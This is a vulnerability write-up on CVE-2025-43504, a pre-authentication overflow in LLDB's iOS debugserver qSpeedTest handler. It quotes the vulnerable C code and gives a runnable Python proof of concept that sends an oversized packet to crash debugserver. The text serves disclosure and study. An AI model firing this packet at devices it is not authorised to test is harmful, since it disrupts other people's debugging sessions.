
Technical deep-dive into CVE-2025-43504, a remote pre-authentication global buffer overflow in LLDB's debugserver for iOS, with PoC code and exploitation analysis.
Growing up, I always enjoyed digging through the DVD bins at my local Walmart. I noticed a lot of the same movies were left on top, but if you actually dug in, you'd find more interesting and niche titles.
When a program overflows a buffer, you're essentially reaching into its bargain bin. Depending on how far you reach, the DVDs - or in this case, the overwritten structures in memory - can change.
Today's bargain /bin is CVE-2025-43504: A remote pre-authentication global buffer overflow I found in LLDB's debugserver.
During application development, developers often find the need to debug their app on a physical iOS device. To accomplish this, Xcode mounts a Developer Disk Image on the target iPhone and then pairs with it.
Once paired, the macOS host is able to communicate with the iOS client using the debugserver installed onto the client. Now any client that can establish a GDB-remote session to the device's debugserver can reach the qSpeedTest handler and overflow the vulnerable buffer.
Let's take a look at the Xcode 26.1 security release page to better understand how Apple categorized CVE-2025-43504:

Due to modern-day software mitigations, Apple considers buffer overflows to primarily be a denial-of-service issue rather than a corruption primitive. As we will explore today, this is generally true as an attacker will need to overcome several hurdles and likely pair this issue with another bug to achieve arbitrary code execution.
If you would like to experiment with a pre-patched version of debugserver, use the following commit or any commits prior to ac8e7be5fbd11f731ffc81bf3bbae50a5a4d83de:
git clone https://github.com/llvm/llvm-project.git
cd llvm-project
git checkout 37cd595c1ccb1fd84ebdfeb0d959744a4d13726c
Before the patch in RNBRemote.cpp, any remote user who could connect to an iOS device's debugserver could send a pre-authentication qSpeedTest packet to RNBRemote::HandlePacket_qSpeedTest and corrupt adjacent structures in the global data segment of debugserver.
However, there's an important caveat: we only control the length of the corruption. The contents of the payload are fixed to a stream of 'a' characters. While students may enjoy the consistently high marks, the practical utility of this overflow is greatly limited by the fact that we can't control the actual bytes being written-only how far the flood of 'a's goes.
Now, let's take a look under the hood of RNBRemote::HandlePacket_qSpeedTest to see exactly what is going on:
rnb_err_t RNBRemote::HandlePacket_qSpeedTest(const char *p) {
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
// We control the length of response_size
uint64_t response_size = ::strtoul(p, &end, 16);
if (errno != 0)
return HandlePacket_ILLFORMED(
__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
// The overflow of g_data by a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
return SendPacket(g_data);
} else {
return SendErrorPacket("E79");
}
}
The role of RNBRemote::HandlePacket_qSpeedTest() is to process incoming qSpeedTest:response_size:<hex>; packets without requiring authentication from a remote user who can communicate to the iOS device's debugserver binary.
However, once a remote user is able to send a qSpeedTest:response_size:<hex>; packet to debugserver, no authentication checks occur within debugserver prior to processing the user-supplied response_size. Therefore, any user who can communicate with an iOS device mounted with a Developer Disk Image is able to overflow debugserver via a qSpeedTest:response_size:<hex>; packet.
Now that we've reached the vulnerable function RNBRemote::HandlePacket_qSpeedTest(), let's examine exactly how the overflow occurs. First, the user-supplied size <hex> in the qSpeedTest:response_size:<hex>; packet is extracted and stored in the variable response_size:
p += strlen("qSpeedTest:response_size:");
char *end = NULL;
errno = 0;
uint64_t response_size = ::strtoul(p, &end, 16);
If parsing succeeds and the next character is a semicolon, a function‑local static 4 MiB + 16‑byte buffer g_data is initialized and seeded with the ASCII header "data:":
if (errno != 0)
return HandlePacket_ILLFORMED(__FILE__, __LINE__, p,
"Didn't find response_size value at right offset");
else if (*end == ';') {
static char g_data[4 * 1024 * 1024 + 16];
strcpy(g_data, "data:");
Putting it all together, memset then fills the static 4 MiB + 16‑byte buffer g_data with 'a' using the user-controlled response_size value as the number of 'a's to use.
// The overflow of g_data by 'a's occurs here
memset(g_data + 5, 'a', response_size);
g_data[response_size + 5] = '\0';
Therefore, whenever a remote LLDB client sends a qSpeedTest:response_size:<hex>; packet with a response_size greater than the 4 MiB + 16‑byte buffer, a buffer overflow occurs and corrupts adjacent global variables stored in the global data segment (.bss) of debugserver.
Now that we understand the architecture behind the overflow, let's now dive into the actual mechanics of the vulnerability. To start things off, let's use the following Python program to explore the corruption primitives gained through the g_data overflow:
import argparse, socket
def frame(payload: bytes) -> bytes:
return b"$" + payload + (b"#%02x" % (sum(payload) & 0xFF))
def send_one(host: str, port: int, resp_hex: str):
payload = b"qSpeedTest:response_size:" + resp_hex.encode("ascii") + b";"
pkt = frame(payload)
s = socket.create_connection((host, port), timeout=5.0)
s.settimeout(1.5)
try:
# send the oversized qSpeedTest
s.sendall(pkt)
try:
_ = s.recv(1) # ACK (best effort)
except Exception:
pass
# Optional tiny nudge to exercise pointer use
try:
s.sendall(frame(b"?"))
_ = s.recv(1)
except Exception:
pass
finally:
try: s.close()
except Exception: pass
def main():
ap = argparse.ArgumentParser(description="Send a single qSpeedTest packet with chosen response_size")
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=1234)
ap.add_argument("--size", required=True,
help="Hex string for response_size (no 0x prefix), e.g. 40100a or 500000")
args = ap.parse_args()
print(f"[i] Sending qSpeedTest:response_size:0x{args.size} to {args.host}:{args.port}")
send_one(args.host, args.port, args.size)
print("[i] Done. If debugserver crashed, check the log for SIGSEGV/SIGBUS and fault address.")
if __name__ == "__main__":
main()